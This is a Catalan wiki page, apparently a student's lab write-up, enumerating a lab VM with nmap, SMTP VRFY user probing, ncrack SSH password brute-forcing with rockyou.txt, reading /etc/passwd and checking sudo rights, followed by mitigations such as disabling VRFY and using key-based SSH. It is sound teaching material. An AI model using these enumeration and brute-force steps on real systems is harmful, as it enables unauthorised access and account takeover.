3. Enumeració

De Lordwektabyte Wiki
Salta a la navegació Salta a la cerca

Enunciat

Extreu la màxima informació relacionada amb usuaris, serveis, etc. de la màquina virtual Enumeration utilitzant eines explicades a classe.

Situació inicial

  • Partiré de la màquina virtual Enumeration i la connectaré a la mateixa xarxa de virtualbox que el Kali Linux que faré servir per a analitzar-la.
  • Màquines en una Xarxa NAT en el rang 10.16.2.0/24
  • Conec que la màquina Kali Linux té l'adreça 10.16.2.8.
  • Desconec l'adreça IP de la màquina a analitzar.
  • No s'accedeix directament a la màquina a analitzar. Només hi tenim accés a través de la xarxa des del Kali.

Procediment

Anàlisi general

Primer de tot, podem executar un nmap a tota la xarxa de VirtualBox per a detectar quina adreça IP ha sigut assignada a la màquina que analitzarem

root@kali-gsb:~# nmap 10.16.2.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-17 12:21 CET
Nmap scan report for 10.16.2.1
Host is up (0.00038s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
53/tcp open  domain
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 10.16.2.2
Host is up (0.00064s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
631/tcp  open  ipp
3306/tcp open  mysql
8010/tcp open  xmpp
8888/tcp open  sun-answerbook
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 10.16.2.3
Host is up (0.00043s latency).
All 1000 scanned ports on 10.16.2.3 are filtered
MAC Address: 08:00:27:1D:7B:F3 (Oracle VirtualBox virtual NIC)

Nmap scan report for 10.16.2.9
Host is up (0.00038s latency).
Not shown: 992 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
53/tcp  open  domain
110/tcp open  pop3
143/tcp open  imap
389/tcp open  ldap
993/tcp open  imaps
995/tcp open  pop3s
MAC Address: 08:00:27:DB:66:F2 (Oracle VirtualBox virtual NIC)

Nmap scan report for 10.16.2.11
Host is up (0.0000060s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 256 IP addresses (5 hosts up) scanned in 2.38 seconds

Deduïm que la màquina d'enumeració és la que es troba a 10.16.2.9 ja que la resta no tenen serveis publicats o bé és el Kali mateix,

Anàlisi acotat

Una vegada fet això, podem executar nmap de nou contra aquella màquina concreta per a llistar en detall els serveis que s'hi estan executant

root@kali-gsb:~# nmap 10.16.2.9 -sV
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-17 12:22 CET
Nmap scan report for 10.16.2.9
Host is up (0.00036s latency).
Not shown: 992 closed ports
PORT    STATE SERVICE    VERSION
22/tcp  open  ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
25/tcp  open  smtp       Postfix smtpd
53/tcp  open  domain     ISC BIND 9.11.3-1ubuntu1.5 (Ubuntu Linux)
110/tcp open  pop3       Dovecot pop3d
143/tcp open  imap       Dovecot imapd (Ubuntu)
389/tcp open  ldap       OpenLDAP 2.2.X - 2.3.X
993/tcp open  ssl/imaps?
995/tcp open  ssl/pop3s?
MAC Address: 08:00:27:DB:66:F2 (Oracle VirtualBox virtual NIC)
Service Info: Host:  enum.iescarlesvallbona.cat; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.84 seconds

Anàlisi de serveis

SMTP

Veiem que hi ha obert un servidor SMTP. Segons apunts de la UF, podem provar si la comanda VRFY <usuari> es permet i podem extreure algun usuari relacionat amb l'organització des d'on s'ha extret aquesta màquina (Institut Carles Vallbona)

root@kali-gsb:~# telnet 10.16.2.9 25
Trying 10.16.2.9...
Connected to 10.16.2.9.
Escape character is '^]'.
220 enum.iescarlesvallbona.cat ESMTP Postfix (Ubuntu)
VRFY roger
252 2.0.0 roger
VRFY pau
252 2.0.0 pau
VRFY julian
252 2.0.0 julian
VRFY jaume
252 2.0.0 jaume
VRFY guillem
550 5.1.1 <guillem>: Recipient address rejected: User unknown in local recipient table

Veiem, manualment, que aquests usuaris existeixen excepte guillem. Això ens pot ser suficient per a provar d'extreure contrasenyes dels usuaris mitjançant força bruta a través del servei SSH per exemple.

Una altra opció seria utilitzar scripts o mòduls de NMap per a passar-li llistes d'usuaris i que ens retorni si existeixen al sistema o no.

SSH

Amb ncrack provarem d'accedir per SSH amb algun usuari que tingui una contrasenya feble o vulnerable present al wordlist de Kali rockyou.txt

root@kali-gsb:~# ncrack -p 22 -user roger -P /usr/share/wordlists/rockyou.txt 10.16.2.9

Starting Ncrack 0.6 ( http://ncrack.org ) at 2019-03-17 12:30 CET

Discovered credentials for ssh on 10.16.2.9 22/tcp:
10.16.2.9 22/tcp ssh: 'roger' 'whatever'

Ncrack done: 1 service scanned in 3.00 seconds.

Ncrack finished.

Hem trobat que l'usuari roger té la contrasenya whatever.

El següent pas serà accedir per SSH amb aquestes credencials i mirar si tenim permisos per llegir l'arxiu /etc/passwd i poder així, llistar la resta d'usuaris del sistema en la seva totalitat.

root@kali-gsb:~# ssh roger@10.16.2.9
roger@10.16.2.9's password: 
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-46-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Mar 17 11:32:39 UTC 2019

  System load:  0.0               Processes:             98
  Usage of /:   44.7% of 9.78GB   Users logged in:       0
  Memory usage: 4%                IP address for enp0s3: 10.16.2.9
  Swap usage:   0%


118 packages can be updated.
0 updates are security updates.


Last login: Sun Mar 17 11:30:24 2019 from 10.16.2.11
roger@enum:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
enum:x:1000:1000:enum:/home/enum:/bin/bash
julian:x:1001:1001:,,,:/home/julian:/bin/bash
pau:x:1002:1002:,,,:/home/pau:/bin/bash
jaume:x:1003:1003:,,,:/home/jaume:/bin/bash
xavi:x:1004:1004:,,,:/home/xavi:/bin/bash
roger:x:1005:1005:,,,:/home/roger:/bin/bash
bind:x:111:113::/var/cache/bind:/usr/sbin/nologin
Debian-snmp:x:112:114::/var/lib/snmp:/bin/false
postfix:x:113:116::/var/spool/postfix:/usr/sbin/nologin
dovecot:x:114:118:Dovecot mail server,,,:/usr/lib/dovecot:/usr/sbin/nologin
dovenull:x:115:119:Dovecot login user,,,:/nonexistent:/usr/sbin/nologin
openldap:x:116:120:OpenLDAP Server Account,,,:/var/lib/ldap:/bin/false

També podem provar si aquest usuari té permisos de sudo:

roger@enum:~$ sudo nano /etc/passwd
[sudo] password for roger: 
roger is not in the sudoers file.  This incident will be reported.

L'usuari roger no està a sudoers, però al veure que es tracta d'un Ubuntu, podem deduir que l'usuari amb UID=1000 tindrà permisos de sudo. Segons l'arxiu d'usuaris, aquest usuari correspon a enum:

enum:x:1000:1000:enum:/home/enum:/bin/bash

Per tant, el següent pas, serà executar ncrack de nou amb l'usuari enum per veure si la contrasenya és present en aquell wordlist

root@kali-gsb:~# ncrack -p 22 -user enum -P /usr/share/wordlists/rockyou.txt 10.16.2.9
 
Starting Ncrack 0.6 ( http://ncrack.org ) at 2019-03-17 12:30 CET
 
Discovered credentials for ssh on 10.16.2.9 22/tcp:
10.16.2.9 22/tcp ssh: 'enum' 'trustno1'
 
Ncrack done: 1 service scanned in 3.00 seconds.
 
Ncrack finished.

Accedirem per SSH amb la contrasenya que hem extret

root@kali-gsb:~# ssh enum@10.16.2.9
enum@10.16.2.9's password: 
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-46-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Mar 17 12:38:49 UTC 2019

  System load:  0.31              Processes:             98
  Usage of /:   45.5% of 9.78GB   Users logged in:       0
  Memory usage: 4%                IP address for enp0s3: 10.16.2.9
  Swap usage:   0%


118 packages can be updated.
0 updates are security updates.


Last login: Wed Feb 20 16:38:32 2019 from 10.16.2.8

Aleshores farem la mateixa prova que amb l'altre usuari: executar una comanda amb sudo per veure si podem fer un moviment vertical i arribar a poder administrar el sistema o modificar arxius dins del home de l'usuari root:

sudo nano /root/prova.enum

Veiem que se'ns dóna permís.

Conclusions

En aquesta pràctica ens hem limitat a serveis SMTP i SSH; encara que al principi també hem vist que hi havia un de LDAP i també DNS. Aquests dos serveis no els hem analitzat perquè amb SMTP i SSH n'hem tingut prou per a poder treure un informe de vulnerabilitats bastant severes que s'haurien de solucionar.

Mitigacions

SMTP

  1. Per a evitar atacs que utilitzin la comanda VRFY amb arxius de diccionari, es pot configurar un límit de verificacions fallides per unitat de temps i així poder alentir un atac d'aquest tipus i poder prendre mesures. El problema és que si el receptor existeix, l'atacant ja tindrà la resposta i no compta com a fallit.
  2. L'altra opció seria buscar la documentació del nostre servidor de correu i deshabilitar totalment aquesta comanda ja que és susceptible de ser explotada amb finalitats no relacionades amb l'enviament de correu electrònic; encara que ens arrisquem a "trencar" el protocol i que alguns clients tinguin problemes per a comunicar-se amb el nostre servidor.

SSH

SSH és un protocol molt segur a nivell de transport. Tot i això, la baula feble és en l'autenticació dels usuaris mitjançant contrasenyes. Per molt fortes que siguin (complexes, llargues, les canviem cada cert temps, etc.) mai oferiran el nivell de seguretat que brinda l'autenticació amb clau pública-privada. Aquest mètode consisteix en autenticar-se mitjançant un fitxer (la clau privada) que el servidor comprova si està autoritzat per a connectar i si correspon amb l'usuari que vol obrir una sessió SSH (a partir de la clau pública).

És per això que la mitigació passa, al meu parer, per deshabilitar totalment l'autenticació per contrasenya i concedir accessos mitjançant claus privades per a cada usuari. D'aquesta manera també és més senzill tancar l'accés a un usuari si la seva clau privada ha estat compromesa i també s'assegura el servei SSH davant d'atacs d'autenticació per força bruta; ja que és virtualment impossible endevinar una clau privada amb la tecnologia d'avui en dia.

Tot i això, si no hi ha l'opció de deshabilitar l'autenticació mitjançant password, seria bona idea configurar SSH de manera que tanqui la connexió després de X intents fallits utilitzant Fail2Ban o similar.

Fora de l'àmbit

Tot i això, ja fora de scope, el servei DNS hagués pogut servir per a fer enumeració de hosts de la xarxa per a extreure més informació de l'organització a nivell d'infraestructura: servidors de correu, servidors de fitxers, noms d'ordinadors dels treballadors, etc. Fins i tot es podria fer servir dig per a intentar si aquell servidor DNS permetria fer una transferència de zona, que seria una vulnerabilitat bastant severa també ja que permetria fer suplantació de registres DNS i "guiar" els hosts d'aquella xarxa cap a servidors no legítims que podria preparar un atacant.

Pel que fa a LDAP, seria també una font d'informació d'usuaris molt completa, ja que cada fitxa d'usuari té infinitat d'atributs més enllà del nom i el correu electrònic que podrien també ser analitzats cercant la possibilitat que un atacant amb males intencions pogués extreure'n informació personal i fer-ne un ús il·legítim.